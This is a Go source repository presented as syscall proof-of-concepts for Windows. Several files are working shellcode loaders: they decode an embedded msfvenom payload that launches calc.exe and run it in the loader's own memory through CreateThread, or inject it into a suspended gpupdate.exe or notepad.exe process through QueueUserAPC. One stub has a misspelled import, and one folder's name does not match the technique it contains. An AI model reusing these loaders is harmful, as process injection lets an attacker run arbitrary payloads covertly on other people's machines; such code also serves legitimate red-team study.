├── README.md ├── sysMessageBox └── main.go ├── MiniDump └── main.go ├── MessageBox └── main.go ├── sysCreateThread2 └── main.go ├── sysCreateThread └── main.go ├── CreateThread └── main.go ├── sysQueueUserAPC └── main.go └── CreateRemoteThread └── main.go /README.md: -------------------------------------------------------------------------------- 1 | # Go-Syscall-Examples 2 | Simple PoCs for utilizing Windows syscalls in Go 3 | -------------------------------------------------------------------------------- /sysMessageBox/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "syscall" 5 | 6 | "github.com/synzack/sys/windows" 7 | ) 8 | 9 | func main() { 10 | text, _ := syscall.UTF16PtrFromString("test message") 11 | header, _ := syscall.UTF16PtrFromString("header test") 12 | 13 | windows.MessageBox(0, text, header, 0) 14 | } 15 | -------------------------------------------------------------------------------- /MiniDump/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "unsafe" 5 | "fmt" 6 | "syscalll" 7 | ) 8 | 9 | func main() { 10 | 11 | /*BOOL MiniDumpWriteDump( 12 | HANDLE hProcess, 13 | DWORD ProcessId, 14 | HANDLE hFile, 15 | MINIDUMP_TYPE DumpType, 16 | PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, 17 | PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, 18 | PMINIDUMP_CALLBACK_INFORMATION CallbackParam 19 | );*/ 20 | 21 | } -------------------------------------------------------------------------------- /MessageBox/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "syscall" 5 | "unsafe" 6 | ) 7 | 8 | const ( 9 | MB_ABORTRETRYIGNORE = 0x00000002 10 | MB_CANCELTRYCONTINUE = 0x00000006 11 | MB_HELP = 0x00004000 12 | MB_OK = 0x00000000 13 | MB_OKCANCEL = 0x00000001 14 | MB_RETRYCANCEL = 0x00000005 15 | MB_YESNO = 0x00000004 16 | ) 17 | 18 | func main() { 19 | text, _ := syscall.UTF16PtrFromString("test message") 20 | header, _ := syscall.UTF16PtrFromString("header test") 21 | 22 | user32 := syscall.NewLazyDLL("User32.dll") 23 | messageBox := user32.NewProc("MessageBoxW") 24 | 25 | messageBox.Call( 26 | uintptr(0), 27 | uintptr(unsafe.Pointer(text)), 28 | uintptr(unsafe.Pointer(header)), 29 | uintptr(MB_OKCANCEL)) 30 | } 31 | -------------------------------------------------------------------------------- /sysCreateThread2/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "unsafe" 7 | 8 | "github.com/synzack/sys/windows" 9 | ) 10 | 11 | func main() { 12 | //msfvenom -a x64 -p windows/x64/exec CMD=calc.exe -f hex 13 | scHex := "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500" 14 | 15 | sc, err := hex.DecodeString(scHex) 16 | if err != nil { 17 | fmt.Println("Error in SC") 18 | } 19 | 20 | //VirtuallAlloc 21 | memAddr, virtualAllocErr := windows.VirtualAlloc(0, uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) 22 | if virtualAllocErr != nil { 23 | fmt.Println(virtualAllocErr) 24 | } else { 25 | fmt.Printf("VirtualAlloc Success: %v", memAddr) 26 | } 27 | 28 | //RtlCopyMemory 29 | rtlCopyMemErr := windows.RtlCopyMemory(memAddr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc))) 30 | if rtlCopyMemErr != nil { 31 | fmt.Println(rtlCopyMemErr) 32 | } else { 33 | fmt.Println("\nRtlCopyMemory Success") 34 | } 35 | //VirtualProtect 36 | oldProtect := uint32(windows.PAGE_READWRITE) 37 | virtualProtectErr := windows.VirtualProtect(memAddr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) 38 | if virtualProtectErr != nil { 39 | fmt.Println(virtualProtectErr) 40 | } else { 41 | fmt.Println("VirtualProtect Success") 42 | } 43 | //CreateThread 44 | var lpThreadID uint32 45 | thread, createThreadErr := windows.CreateThread(nil, 0, memAddr, uintptr(0), 0, &lpThreadID) 46 | if createThreadErr != nil { 47 | fmt.Println(createThreadErr) 48 | } else { 49 | fmt.Printf("CreateThread Success: %v", thread) 50 | } 51 | 52 | //waitForSingleObject 53 | windows.WaitForSingleObject(thread, 0xFFFFFFFF) 54 | } 55 | -------------------------------------------------------------------------------- /sysCreateThread/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "unsafe" 7 | 8 | "github.com/synzack/offensive-go/offsecsyscalls" 9 | "golang.org/x/sys/windows" 10 | ) 11 | 12 | func main() { 13 | //msfvenom -a x64 -p windows/x64/exec CMD=calc.exe -f hex 14 | scHex := "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500" 15 | 16 | sc, err := hex.DecodeString(scHex) 17 | if err != nil { 18 | fmt.Println("Error in SC") 19 | } 20 | 21 | //VirtuallAlloc 22 | memAddr, virtualAllocErr := windows.VirtualAlloc(0, uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) 23 | if virtualAllocErr != nil { 24 | fmt.Println(virtualAllocErr) 25 | } else { 26 | fmt.Printf("VirtualAlloc Success: %v", memAddr) 27 | } 28 | 29 | //RtlCopyMemory 30 | rtlCopyMemErr := offsecsyscalls.RtlCopyMemory(memAddr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc))) 31 | if rtlCopyMemErr != nil { 32 | fmt.Println(rtlCopyMemErr) 33 | } else { 34 | fmt.Println("\nRtlCopyMemory Success") 35 | } 36 | //VirtualProtect 37 | oldProtect := uint32(windows.PAGE_READWRITE) 38 | virtualProtectErr := windows.VirtualProtect(memAddr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) 39 | if virtualProtectErr != nil { 40 | fmt.Println(virtualProtectErr) 41 | } else { 42 | fmt.Println("VirtualProtect Success") 43 | } 44 | //CreateThread 45 | var lpThreadID uint32 46 | thread, createThreadErr := offsecsyscalls.CreateThread(nil, 0, memAddr, uintptr(0), 0, &lpThreadID) 47 | if createThreadErr != nil { 48 | fmt.Println(createThreadErr) 49 | } else { 50 | fmt.Printf("CreateThread Success: %v", thread) 51 | } 52 | 53 | //waitForSingleObject 54 | windows.WaitForSingleObject(thread, 0xFFFFFFFF) 55 | } 56 | -------------------------------------------------------------------------------- /CreateThread/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "syscall" 7 | "unsafe" 8 | ) 9 | 10 | const ( 11 | MEM_COMMIT = 0x00001000 12 | MEM_RESERVE = 0x00002000 13 | MEM_RESET = 0x00080000 14 | MEM_RESET_UNDO = 0x1000000 15 | MEM_LARGE_PAGES = 0x20000000 16 | MEM_PHYSICAL = 0x00400000 17 | MEM_TOP_DOWN = 0x00100000 18 | MEM_WRITE_WATCH = 0x00200000 19 | PAGE_READWRITE = 0x04 20 | PAGE_EXECUTE_READ = 0x20 21 | ) 22 | 23 | func main() { 24 | 25 | kernel32 := syscall.NewLazyDLL("Kernel32.dll") 26 | ntdll := syscall.NewLazyDLL("ntdll.dll") 27 | 28 | VirtualAlloc := kernel32.NewProc("VirtualAlloc") 29 | RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") 30 | CreateThread := kernel32.NewProc("CreateThread") 31 | VirtualProtect := kernel32.NewProc("VirtualProtect") 32 | WaitForSingleObject := kernel32.NewProc("WaitForSingleObject") 33 | 34 | //msfvenom -a x64 -p windows/x64/exec CMD=calc.exe -f hex 35 | sc_hex := "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500" 36 | 37 | sc, err := hex.DecodeString(sc_hex) 38 | if err != nil { 39 | fmt.Println("Error in SC") 40 | } 41 | 42 | /*LPVOID VirtualAlloc( 43 | LPVOID lpAddress, 44 | SIZE_T dwSize, 45 | DWORD flAllocationType, 46 | DWORD flProtect 47 | );*/ 48 | 49 | /*void RtlCopyMemory( 50 | void* Destination, 51 | const void* Source, 52 | size_t Length 53 | );*/ 54 | 55 | /*BOOL VirtualProtect( 56 | LPVOID lpAddress, 57 | SIZE_T dwSize, 58 | DWORD flNewProtect, 59 | PDWORD lpflOldProtect 60 | );*/ 61 | 62 | /*CreateThread 63 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 64 | SIZE_T dwStackSize, 65 | LPTHREAD_START_ROUTINE lpStartAddress, 66 | __drv_aliasesMem LPVOID lpParameter, 67 | DWORD dwCreationFlags, 68 | LPDWORD lpThreadId 69 | );*/ 70 | 71 | addr, _, _ := VirtualAlloc.Call( 72 | uintptr(0), 73 | uintptr(len(sc)), 74 | MEM_COMMIT|MEM_RESERVE, 75 | PAGE_READWRITE) 76 | 77 | RtlCopyMemory.Call( 78 | addr, 79 | (uintptr)(unsafe.Pointer(&sc[0])), 80 | uintptr(len(sc))) 81 | 82 | oldProtect := PAGE_READWRITE 83 | VirtualProtect.Call( 84 | addr, 85 | uintptr(len(sc)), 86 | PAGE_EXECUTE_READ, 87 | uintptr(unsafe.Pointer(&oldProtect))) 88 | 89 | thread, _, _ := CreateThread.Call( 90 | 0, 91 | 0, 92 | addr, 93 | uintptr(0), 94 | 0, 95 | 0) 96 | 97 | WaitForSingleObject.Call(thread, 0xFFFFFFFF) 98 | } 99 | -------------------------------------------------------------------------------- /sysQueueUserAPC/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "syscall" 7 | 8 | "github.com/synzack/sys/windows" 9 | ) 10 | 11 | func main() { 12 | //shellcode (msfvenom -a x64 -p windows/x64/exec CMD=calc.exe -f hex) 13 | scHex := "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500" 14 | 15 | sc, err := hex.DecodeString(scHex) 16 | if err != nil { 17 | fmt.Println("Error in SC") 18 | } 19 | 20 | //Create process in suspended state 21 | si := new(windows.StartupInfo) 22 | pi := new(windows.ProcessInformation) 23 | 24 | command := syscall.StringToUTF16Ptr("C:\\Windows\\System32\\gpupdate.exe") 25 | 26 | errSyscall := windows.CreateProcess(nil, command, nil, nil, false, windows.CREATE_SUSPENDED, nil, nil, si, pi) 27 | if errSyscall != nil { 28 | fmt.Println(errSyscall) 29 | } else { 30 | fmt.Printf("[+] Successfully created process in suspended state, PID = %v\n", pi.ProcessId) 31 | } 32 | 33 | //OpenProcess to spawned process 34 | handle, openProcessError := windows.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, false, pi.ProcessId) 35 | if openProcessError != nil { 36 | fmt.Println(openProcessError) 37 | } else { 38 | fmt.Printf("[+] Successfully opened handle to process, handle = %v\n", handle) 39 | } 40 | 41 | //VirtualAllocEx shellcode into suspended process 42 | addr, virtualAllocErr := windows.VirtualAllocEx(handle, 0, uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) 43 | if virtualAllocErr != nil { 44 | fmt.Printf("[-] Error: %v\n", virtualAllocErr) 45 | } else { 46 | fmt.Printf("[+] Successfully allocated memory at address: %v\n", addr) 47 | } 48 | 49 | //WriteProcessMemory shellcode into process 50 | writeProcessMemoryErr := windows.WriteProcessMemory(handle, addr, (&sc[0]), uintptr(len(sc)), nil) 51 | if writeProcessMemoryErr != nil { 52 | fmt.Printf("[-] Error: %v\n", writeProcessMemoryErr) 53 | } else { 54 | fmt.Printf("[+] Successfully wrote shellcode to memory\n") 55 | } 56 | 57 | //VirtualProtect to change permissions of shellcode memory space to read, execute 58 | var oldProtect uint32 59 | virtualProtectErr := windows.VirtualProtectEx(handle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) 60 | if virtualProtectErr != nil { 61 | fmt.Printf("[-] Error: %v\n", virtualProtectErr) 62 | } else { 63 | fmt.Printf("[+] Successfully changed permissions of memory to read/execute\n") 64 | } 65 | 66 | //Create QueueUserAPC on shellcode 67 | userApcError := windows.QueueUserAPC(addr, pi.Thread, 0) 68 | if userApcError != nil { 69 | fmt.Printf("[-] Error: %v\n", userApcError) 70 | } else { 71 | fmt.Println("[+] Successfully initiated QueueUserAPC") 72 | } 73 | 74 | //Resume thread of suspended process 75 | _, resumeErr := windows.ResumeThread(pi.Thread) 76 | if resumeErr != nil { 77 | fmt.Printf("[-] Error resuming thread: %v\n", err) 78 | } else { 79 | fmt.Println("[+] Resume thread successful. Shellcode should execute.") 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /CreateRemoteThread/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "syscall" 7 | "unsafe" 8 | ) 9 | 10 | const ( 11 | CREATE_SUSPENDED = 0x00000004 12 | MEM_COMMIT = 0x00001000 13 | MEM_RESERVE = 0x00002000 14 | PAGE_READWRITE = 0x04 15 | PAGE_EXECUTE_READ = 0x20 16 | ) 17 | 18 | func main() { 19 | //References: 20 | //https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go 21 | //https://github.com/sh4hin/GoPurple/blob/master/techniques/EBAPCQueue.go 22 | 23 | kernel32 := syscall.NewLazyDLL("Kernel32.dll") 24 | 25 | VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") 26 | VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") 27 | WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") 28 | QueueUserAPC := kernel32.NewProc("QueueUserAPC") 29 | ResumeThread := kernel32.NewProc("ResumeThread") 30 | 31 | //msfvenom -a x64 -p windows/x64/exec CMD=calc.exe -f hex 32 | sc_hex := "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500" 33 | 34 | //Convert shellcode to string 35 | sc, scErr := hex.DecodeString(sc_hex) 36 | if scErr != nil { 37 | fmt.Println("Error in SC") 38 | } 39 | 40 | /*BOOL CreateProcessA( 41 | LPCSTR lpApplicationName, 42 | LPSTR lpCommandLine, 43 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 44 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 45 | BOOL bInheritHandles, 46 | DWORD dwCreationFlags, 47 | LPVOID lpEnvironment, 48 | LPCSTR lpCurrentDirectory, 49 | LPSTARTUPINFOA lpStartupInfo, 50 | LPPROCESS_INFORMATION lpProcessInformation 51 | );*/ 52 | 53 | //Create process in suspended state 54 | command := syscall.StringToUTF16Ptr("c:\\windows\\system32\\notepad.exe") 55 | startupInfo := new(syscall.StartupInfo) 56 | procInfo := new(syscall.ProcessInformation) 57 | errSyscall := syscall.CreateProcess(nil, command, nil, nil, false, CREATE_SUSPENDED, nil, nil, startupInfo, procInfo) 58 | if errSyscall != nil { 59 | fmt.Println(errSyscall) 60 | } 61 | 62 | /*LPVOID VirtualAllocEx( 63 | HANDLE hProcess, 64 | LPVOID lpAddress, 65 | SIZE_T dwSize, 66 | DWORD flAllocationType, 67 | DWORD flProtect 68 | );*/ 69 | 70 | //Allocate Memory in suspended process 71 | addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) 72 | if addr == 0 { 73 | fmt.Println("VirtualAlloc Failed") 74 | } else { 75 | fmt.Println("Alloc: Success") 76 | } 77 | 78 | /*BOOL WriteProcessMemory( 79 | HANDLE hProcess, 80 | LPVOID lpBaseAddress, 81 | LPCVOID lpBuffer, 82 | SIZE_T nSize, 83 | SIZE_T *lpNumberOfBytesWritten 84 | );*/ 85 | 86 | //write shellcode to allocated memory space 87 | _, _, errWriteMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc))) 88 | if errWriteMemory.Error() != "The operation completed successfully." { 89 | fmt.Println("WriteMemory: Failed") 90 | } else { 91 | fmt.Println("WriteMemory: Success") 92 | } 93 | 94 | /*BOOL VirtualProtectEx( 95 | HANDLE hProcess, 96 | LPVOID lpAddress, 97 | SIZE_T dwSize, 98 | DWORD flNewProtect, 99 | PDWORD lpflOldProtect 100 | );*/ 101 | 102 | //Reset permissions on shellcode to read/execute only 103 | oldProtect := PAGE_READWRITE 104 | _, _, errVirtualProtect := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(sc)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) 105 | if errVirtualProtect.Error() != "The operation completed successfully." { 106 | fmt.Println("VirtualProtect: Failed") 107 | } else { 108 | fmt.Println("VirtualProtect: Success") 109 | } 110 | 111 | /*DWORD QueueUserAPC( 112 | PAPCFUNC pfnAPC, 113 | HANDLE hThread, 114 | ULONG_PTR dwData 115 | );*/ 116 | 117 | //Queue APC to shellcode thread 118 | _, _, errQueueUserAPC := QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0) 119 | if errQueueUserAPC.Error() != "The operation completed successfully." { 120 | fmt.Println("QueueUserAPC: Failed") 121 | } else { 122 | fmt.Println("QueueUserAPC: Success") 123 | } 124 | 125 | /*DWORD ResumeThread( 126 | HANDLE hThread 127 | );*/ 128 | 129 | //Resume Thread 130 | _, _, errResumeThread := ResumeThread.Call(uintptr(procInfo.Thread)) 131 | if errResumeThread != nil { 132 | fmt.Println(errResumeThread) 133 | } 134 | } 135 | --------------------------------------------------------------------------------